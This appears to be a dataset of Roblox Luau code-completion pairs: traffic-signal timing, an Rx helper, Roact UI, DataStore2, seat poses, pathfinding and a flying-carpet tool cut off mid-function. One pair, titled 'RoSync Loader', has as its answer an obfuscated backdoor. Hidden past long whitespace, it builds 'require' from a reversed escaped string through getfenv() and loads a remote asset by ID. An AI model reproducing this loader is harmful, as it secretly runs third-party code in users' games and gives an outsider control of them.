	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 1
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10)--Green Time (BEGIN SIGNAL1a PROTECTED TURN GREEN)
	TurnValues.TurnSignal1a.Value = 2
	wait(4)--Yield Time (YIELD SIGNAL1a PROTECTED TURN GREEN)
	TurnValues.TurnSignal1a.Value = 3
	SignalValues.Signal1.Value = 3
	wait(2)-- All Red Cycle
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10) -- Green Time + Time for Signal1a
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
end


Prompt:
--[=[
	Defaults the observable to a value if it isn't fired immediately

	```lua
	Rx.NEVER:Pipe({
		Rx.defaultsTo("Hello")
	}):Subscribe(print) --> Hello
	```

	@param value any
	@return (source: Observable) -> Observable
]=]

Response:
function Rx.defaultsTo(value)
	return function(source)
		assert(Observable.isObservable(source), "Bad observable")

		return Observable.new(function(sub)
			local maid = Maid.new()

			local fired = false

			maid:GiveTask(source:Subscribe(
				function(...)
					fired = true
					sub:Fire(...)
				end,
				sub:GetFailComplete()))

			if not fired then
				sub:Fire(value)
			end

			return maid
		end)
	end
end


Prompt: -- The raw pixel size of the button and the offset needed for 9-slicing it

Response:
local BUTTON_PIXEL_SIZE = 32 -- px
local SLICE_OFFSET = 6 -- px

local defaultProps = {
	position = UDim2.fromScale(1, 1),
	anchorPoint = Vector2.new(0.4, 0.4),
	size = 24,
	transparency = 0,
}

export type Props = typeof(defaultProps) & {
	keyCode: Enum.KeyCode,
	transparency: any?, -- Roact binding
}

KeyCodeIcon.defaultProps = defaultProps

function KeyCodeIcon:render()
	local props: Props = self.props

	if not props.keyCode then
		return
	end

	local gamepadIcon = assets.Gamepad[props.keyCode.Name]

	if gamepadIcon then
		return Roact.createElement("ImageLabel", {
			Image = gamepadIcon,
			ImageTransparency = props.transparency,
			Size = UDim2.fromOffset(props.size, props.size),
			Position = props.position,
			AnchorPoint = props.anchorPoint,
			BackgroundTransparency = 1,
		})
	else
		return Roact.createElement("ImageLabel", {
			Image = assets.KeyBacking,
			ImageTransparency = props.transparency,
			ScaleType = Enum.ScaleType.Slice,
			SliceCenter = Rect.new(
				SLICE_OFFSET,
				SLICE_OFFSET,
				BUTTON_PIXEL_SIZE - SLICE_OFFSET,
				BUTTON_PIXEL_SIZE - SLICE_OFFSET
			),
			Size = UDim2.fromOffset(props.size, props.size),
			Position = props.position,
			AnchorPoint = props.anchorPoint,
			BackgroundTransparency = 1,
		}, {
			Key = Roact.createElement(TextLabel, {
				Text = props.keyCode.Name,
				TextTransparency = props.transparency,
				Size = UDim2.fromScale(1, 1),
				Font = constants.HeaderFont,
				TextColor3 = constants.White,
				TextScaled = false,
				AutomaticSize = Enum.AutomaticSize.X,
				TextXAlignment = Enum.TextXAlignment.Center,
				TextYAlignment = Enum.TextYAlignment.Center,
			}),
		})
	end
end

return KeyCodeIcon


Prompt: --[[ Last synced 7/23/2021 04:30                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
--[[
	ROBLOX deviation: skipped code
	original code lines: 376 - 416
]]


Prompt:
-- Gets the storage location for packages used by each Dev Modules. The packages
-- that get put in this folder are deduplicated so every distinct version of a
-- package has only one copy.

Response:
local function getPackageStorage()
	local packageStorage = constants.PACKAGE_STORAGE_LOCATION:FindFirstChild(constants.PACKAGE_STORAGE_NAME)

	if not packageStorage then
		packageStorage = Instance.new("Folder")
		packageStorage.Name = constants.PACKAGE_STORAGE_NAME
		packageStorage.Parent = constants.PACKAGE_STORAGE_LOCATION
	end

	return packageStorage
end


Prompt: -- Signal class

Response:
local Signal = {}
Signal.__index = Signal

function Signal.new(signal)
	return setmetatable({
		_handlerListHead = false,
		_signalType = signal
	}, Signal)
end

function Signal:Connect(fn)
	local connection = Connection.new(self, fn)

	if self._signalType == 1 and self._handlerListHead then
		connection._next = self._handlerListHead
		self._handlerListHead = connection
	else
		self._handlerListHead = connection
	end

	return connection
end


Prompt:
--[[
    Creates a registry for the given class
]]

Response:
function Registry.new(class)
	local self = {
		class = class,
		objects = {}
	}
	setmetatable(self, {__index = Registry})

	return self
end


Prompt: -- ANimation

Response:
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 2
		Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		for i = 1,math.huge do
			if Debounce == 2 then

				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else

				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 3
		plr.Character.HumanoidRootPart.Anchored = false
		local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		for i = 1,10 do
			wait(0.1)
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		end
		wait(0.3)
		Track2:Stop()
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)


Prompt:
--[[**
	<description>
	Run this once to combine all keys provided into one "main key".
	Internally, this means that data will be stored in a table with the key mainKey.
	This is used to get around the 2-DataStore2 reliability caveat.
	</description>

	<parameter name = "mainKey">
	The key that will be used to house the table.
	</parameter>

	<parameter name = "...">
	All the keys to combine under one table.
	</parameter>
**--]]

Response:
function DataStore2.Combine(mainKey, ...)
	for _, name in pairs({...}) do
		combinedDataStoreInfo[name] = mainKey
	end
end

function DataStore2.ClearCache()
	DataStoreCache = {}
end

function DataStore2:__call(dataStoreName, player)
	assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}"):format(typeof(dataStoreName), typeof(player)))
	if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then
		return DataStoreCache[player][dataStoreName]
	elseif combinedDataStoreInfo[dataStoreName] then
		local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player)

		dataStore:BeforeSave(function(combinedData)
			for key in pairs(combinedData) do
				if combinedDataStoreInfo[key] then
					local combinedStore = DataStore2(key, player)
					local value = combinedStore:Get(nil, true)
					if value ~= nil then
						if combinedStore.combinedBeforeSave then
							value = combinedStore.combinedBeforeSave(clone(value))
						end
						combinedData[key] = value
					end
				end
			end

			return combinedData
		end)

		local combinedStore = setmetatable({
			combinedName = dataStoreName,
			combinedStore = dataStore
		}, {
			__index = function(self, key)
				return CombinedDataStore[key] or dataStore[key]
			end
		})

		if not DataStoreCache[player] then
			DataStoreCache[player] = {}
		end

		DataStoreCache[player][dataStoreName] = combinedStore
		return combinedStore
	end

	local dataStore = {}

	dataStore.Name = dataStoreName
	dataStore.UserId = player.UserId

	dataStore.callbacks = {}
	dataStore.beforeInitialGet = {}
	dataStore.afterSave = {}
	dataStore.bindToClose = {}
	dataStore.savingMethod = SavingMethods.OrderedBackups.new(dataStore)

	setmetatable(dataStore, DataStoreMetatable)

	local event, fired = Instance.new("BindableEvent"), false

	game:BindToClose(function()
		if not fired then
			event.Event:wait()
		end

		local value = dataStore:Get(nil, true)

		for _, bindToClose in pairs(dataStore.bindToClose) do
			bindToClose(player, value)
		end
	end)

	local playerLeavingConnection
	playerLeavingConnection = player.AncestryChanged:Connect(function()
		if player:IsDescendantOf(game) then return end
		playerLeavingConnection:Disconnect()
		if 	game.ServerScriptService.DataSave.Value == true then
			dataStore:Save()
			end
		event:Fire()
		fired = true

		delay(40, function() --Give a long delay for people who haven't figured out the cache :^(
			DataStoreCache[player] = nil
		end)
	end)

	if not DataStoreCache[player] then
		DataStoreCache[player] = {}
	end

	DataStoreCache[player][dataStoreName] = dataStore

	return dataStore
end

return setmetatable(DataStore2, DataStore2)


Prompt:
--script.Parent.LL.Velocity = script.Parent.LL.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.LLL.Velocity = script.Parent.LLL.CFrame.lookVector *script.Parent.Speed.Value

Response:
script.Parent.LLLL.Velocity = script.Parent.LLLL.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.M.Velocity = script.Parent.M.CFrame.lookVector *script.Parent.Speed.Value


Prompt: --Don't modify this script unless you really know what you're doing.

Response:
local WaitFor = (function(parent, child_name)
	local found = parent:FindFirstChild(child_name)
	while found == nil do
		parent.ChildAdded:wait()
		found = parent:FindFirstChild(child_name)
		if found then break end
	end
	return found
end)

local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 = nil }

local ApplyModifications = (function(weld, char)
	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")

	local config = script.Parent.Configuration
	local head_ang = config["Head Angle"].Value
	local legs_ang = config["Legs Angle"].Value
	local arms_ang = config["Arms Angle"].Value
	local sit_ang  = config["Sitting Angle"].Value
	local sit_pos  = config["Sitting Position"].Value

	--First adjust sitting position and angle
	--Add 90 to the angle because that's what most people will be expecting.
	--weld.C1 = weld.C1 * CFrame.fromEulerAnglesXYZ(math.rad((sit_ang) + 90), 0, 0)

	--weld.C0 = CFrame.new(sit_pos)
	weld.C0 = weld.C0 * CFrame.new(0, 1, 0)

	last.neckC1 = neck.C1
	last.rshoC0 = rsho.C0
	last.lshoC0 = lsho.C0
	last.rhipC0 = rhip.C0
	last.lhipC0 = lhip.C0

	--Now adjust the neck angle.
	neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(math.rad(head_ang), 0, 0)

	--Now adjust the arms angle.
	rsho.C0 = rsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(arms_ang), 0)
	lsho.C0 = lsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(-arms_ang), 0)

	--Now the legs
	rhip.C0 = rhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(legs_ang))
	lhip.C0 = lhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(-legs_ang))
end)

local RevertModifications = (function(weld, char)
	--Any modifications done in ApplyModifications have to be reverted here if they
	--change any welds - otherwise people will wonder why their head is pointing the wrong way.

	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")

	--Now adjust the neck angle.
	neck.C1 = last.neckC1 or CFrame.new()

	rsho.C0 = last.rshoC0 or CFrame.new()
	lsho.C0 = last.lshoC0 or CFrame.new()

	rhip.C0 = last.rhipC0 or CFrame.new()
	lhip.C0 = last.lhipC0 or CFrame.new()

	weld:Destroy()
end)

script.Parent.ChildAdded:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		ApplyModifications(c, character)
	end
end)

script.Parent.ChildRemoved:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		RevertModifications(c, character)
	end
end)


Prompt: --Generate a basic map

Response:
local map = {}

map.sizeX = 100
map.sizeY = 100
map.fatgridSize = 10
map.grid = {}
map.fatgrid = {}
map.impassible = 1000000

local cardinals = { Vector3.new(-1,0,0),Vector3.new(1,0,0),Vector3.new(0,-1,0),Vector3.new(0,1,0) }
local corners = {
	{ dir = Vector3.new(-1,-1,0), a = Vector3.new(-1, 0,0), b = Vector3.new(0,-1,0) },
	{ dir = Vector3.new( 1,-1,0), a = Vector3.new( 1, 0,0), b = Vector3.new(0,-1,0) },
	{ dir = Vector3.new( 1, 1,0), a = Vector3.new( 1, 0,0), b = Vector3.new(0, 1,0) },
	{ dir = Vector3.new(-1, 1,0), a = Vector3.new(-1, 0,0), b = Vector3.new(0, 1,0) },
}

function map:GetPoint(vec2 : Vector3)
	return map.grid[vec2]
end

function map:SetPoint(vec2 : Vector3, val : number, cost : number)

	local getPoint = map.grid[vec2]
	if (getPoint == nil) then
		getPoint = { tile = 0, cost = 0, connections = {}, x = vec2.X, y = vec2.Y }
		map.grid[vec2] = getPoint
	end
	getPoint.tile = val
	getPoint.cost = cost
end

function map:CreateConnections(vec2)
	local getPoint = map.grid[vec2]
	if (getPoint == nil) then
		return
	end

	getPoint.connections = {}
	for key,vec in pairs(cardinals) do
		local neighbour = self:GetPoint(vec2 + vec)
		if (neighbour) then
			table.insert(getPoint.connections, { n = neighbour, cost = neighbour.cost + 10 })
		end
	end
	for key,record in pairs(corners) do
		local neighbour = self:GetPoint(vec2 + record.dir)

		local a = self:GetPoint(vec2 + record.a)
		local b = self:GetPoint(vec2 + record.b)
		if (a and a.cost > 0) then
			continue
		end
		if (b and b.cost > 0) then
			continue
		end

		if (neighbour) then
			table.insert(getPoint.connections, { n = neighbour, cost = neighbour.cost + 14 })
		end
	end
end

function map:GenerateDummy()

	math.randomseed(1)

	--empty air
	for y=0,map.sizeY-1 do
		for x=0,map.sizeX-1 do
			self:SetPoint(Vector3.new(x,y,0),0 , 0)
		end
	end

	--borders
	for y=0,map.sizeY-1 do
		self:SetPoint(Vector3.new(0,y,0),1, map.impassible)
		self:SetPoint(Vector3.new(map.sizeX-1,y,0),1, map.impassible)
	end

	for x=0,map.sizeX-1 do
		self:SetPoint(Vector3.new(x,0,0),1 ,map.impassible)
		self:SetPoint(Vector3.new(x,map.sizeY-1,0),1, map.impassible)
	end

	for y=0,map.sizeY-1 do
		for x=0,map.sizeX-1 do
			if (math.random()<0.15) then
				self:SetPoint(Vector3.new(x,y,0), 1 , map.impassible)
			end
		end
	end

	--Create connections
	for y=0,map.sizeY-1 do
		for x=0,map.sizeX-1 do
			self:CreateConnections(Vector3.new(x,y,0))
		end
	end
end

function map:CreateVisuals()
	for vec2,value in pairs(self.grid) do

		if (value.tile > 0) then
			local part = Instance.new("Part")
			part.Size = Vector3.new(6,3,6)
			part.Position = Vector3.new(3 + vec2.x * 6 , 1.5, 3 + vec2.y * 6)
			part.Anchored = true
			part.Parent = game.Workspace
			part.Transparency = 0
		end
	end

end

function map:MakePath(path, color)
	for _,value in pairs(path) do
		local part = Instance.new("Part")
		part.Size = Vector3.new(3,3,3)
		part.Position = Vector3.new(3 + value.x * 6 , 3, 3 + value.y * 6)
		part.Anchored = true
		part.Color = color
		part.Parent = game.Workspace
	end

end

function debugBall(node,color)
	local part = Instance.new("Part")
	part.Size = Vector3.new(3,3,3)
	part.Position = Vector3.new(3 + node.x * 6 , 3, 3 + node.y * 6)
	part.Anchored = true
	part.Color = color
	part.Parent = game.Workspace

end


Prompt: --set suitcase name to the player's name

Response:
handle.BottomGui.OwnerName.Text = player.Name
handle.TopGui.OwnerName.Text = player.Name


Prompt: -- import assign from 'object-assign';

Response:
local ReactCurrentDispatcher = require(script.ReactCurrentDispatcher)
export type Dispatcher = ReactCurrentDispatcher.Dispatcher
local ReactCurrentBatchConfig = require(script.ReactCurrentBatchConfig)
local ReactCurrentOwner = require(script.ReactCurrentOwner)
local ReactDebugCurrentFrame = require(script.ReactDebugCurrentFrame)
local IsSomeRendererActing = require(script.IsSomeRendererActing)

local ReactSharedInternals = {
	ReactCurrentDispatcher = ReactCurrentDispatcher,
	ReactCurrentBatchConfig = ReactCurrentBatchConfig,
	ReactCurrentOwner = ReactCurrentOwner,
	IsSomeRendererActing = IsSomeRendererActing,
	-- ROBLOX deviation: Luau type checking requires us to have a consistent export shape regardless of __DEV__
	-- ROBLOX TODO: use if-expressions when all clients are on 503+
	ReactDebugCurrentFrame = if _G.__DEV__
		then ReactDebugCurrentFrame
		else {
			setExtraStackFrame = function(_: string?): ()
				onlyInTestError("setExtraStackFrame")
			end,
		},
	-- deviation: We shouldn't have to worry about duplicate bundling here
	-- Used by renderers to avoid bundling object-assign twice in UMD bundles:
	-- assign,
}

return ReactSharedInternals


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")

RemovalMonitor = script:WaitForChild("RemovalMonitor")

CarpetPieces = {
	{MeshId = 223079795, Angle = 160},
	{MeshId = 223079835, Angle = 100},
	{MeshId = 223079888, Angle = 100},
	{MeshId = 223079981, Angle = 160},
}

CarpetSize = Vector3.new(3, 0.5, 6.5)

BaseUrl = "http://www.roblox.com/asset/?id="

Rate = (1 / 10)

BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = false
BasePart.Locked = true

ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart

RainbowColors = {
	Vector3.new(1, 0, 0),
	Vector3.new(1, 0.5, 0),
	Vector3.new(1, 1, 0),
	Vector3.new(0, 1, 0),
	Vector3.new(0, 1, 1),
	Vector3.new(0, 0, 1),
	Vector3.new(0.5, 0, 1)
}

Animations = {
	Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}

Grips = {
	Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
	Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}

Flying = false
ToolEquipped = false

ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool

ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool

Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true

function Clamp(Number, Min, Max)
	return math.max(math.min(Max, Number), Min)
end

function TransformModel(Objects, Center, NewCFrame, Recurse)
	local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
	for i, v in pairs(Objects) do
		if v:IsA("BasePart") then
			v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
		end
		if Recurse then
			TransformModel(v:GetChildren(), Center, NewCFrame, true)
		end
	end
end

function Weld(Parent, PrimaryPart)
	local Parts = {}
	local Welds = {}
	local function WeldModel(Parent, PrimaryPart)
		for i, v in pairs(Parent:GetChildren()) do
			if v:IsA("BasePart") then
				if v ~= PrimaryPart then
					local Weld = Instance.new("Weld")
					Weld.Name = "Weld"
					Weld.Part0 = PrimaryPart
					Weld.Part1 = v
					Weld.C0 = PrimaryPart.CFrame:inverse()
					Weld.C1 = v.CFrame:inverse()
					Weld.Parent = PrimaryPart
					table.insert(Welds, Weld)
				end
				table.insert(Parts, v)
			end
			WeldModel(v, PrimaryPart)
		end
	end
	WeldModel(Parent, PrimaryPart)
	return Parts, Welds
end

function CleanUp()

	for i, v in pairs(Tool:GetChildren()) do
		if v:IsA("BasePart") and v ~= Handle then
			v:Destroy()
		end
	end
end

function CreateRainbow(Length)
	local RainbowModel = Instance.new("Model")
	RainbowModel.Name = "RainbowPart"
	for i, v in pairs(RainbowColors) do
		local Part = ColorPart:Clone()
		Part.Name = "Part"
		Part.Size = Vector3.new(0.5, 0.5, Length)
		Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
		Part.Mesh.Scale = (Part.Size * 2)
		Part.Mesh.VertexColor = v
		Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
		Part.Parent = RainbowModel
	end
	local RainbowBoundingBox = BasePart:Clone()
	RainbowBoundingBox.Name = "BoundingBox"
	RainbowBoundingBox.Transparency = 1
	RainbowBoundingBox.Size = RainbowModel:GetModelSize()
	RainbowBoundingBox.Anchored = true
	RainbowBoundingBox.CanCollide = false
	RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
	RainbowBoundingBox.Parent = RainbowModel
	return RainbowModel
end

function GetRainbowModel()
	local ModelName = (Player.Name .. "'s Rainbow")
	local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
	if not Model then
		Model = Instance.new("Model")
		Model.Name = ModelName
		local RemovalMonitorClone = RemovalMonitor:Clone()
		RemovalMonitorClone.Disabled = false
		RemovalMonitorClone.Parent = Model
	end
	return Model
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end

function Activated()
	if not Tool.Enabled then
		return
	end
	Tool.Enabled = false
	Flying = not Flying
	if Flying then
		Handle.Transparency = 1
		CleanUp()
		local CarpetParts = {}
		for i, v in pairs(CarpetPieces) do
			local CarpetPart = BasePart:Clone()
			CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
			local Mesh = Instance.new("SpecialMesh")
			Mesh.MeshType = Enum.MeshType.FileMesh
			Mesh.MeshId = (BaseUrl .. v.MeshId)
			Mesh.TextureId = (BaseUrl .. "223080038")
			Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
			Mesh.VertexColor = Vector3.new(1, 1, 1)
			Mesh.Offset = Vector3.new(0, 0, 0)
			Mesh.Parent = CarpetPart
			local Weld = Instance.new("Weld")
			Weld.Part0 = Handle
			Weld.Part1 = CarpetPart
			local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
			local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
			Weld.C1 = CFrame.new(0, XOffset, YOffset)
			Weld.Parent = CarpetPart
			table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
			CarpetPart.Parent = Tool
		end

		spawn(function()
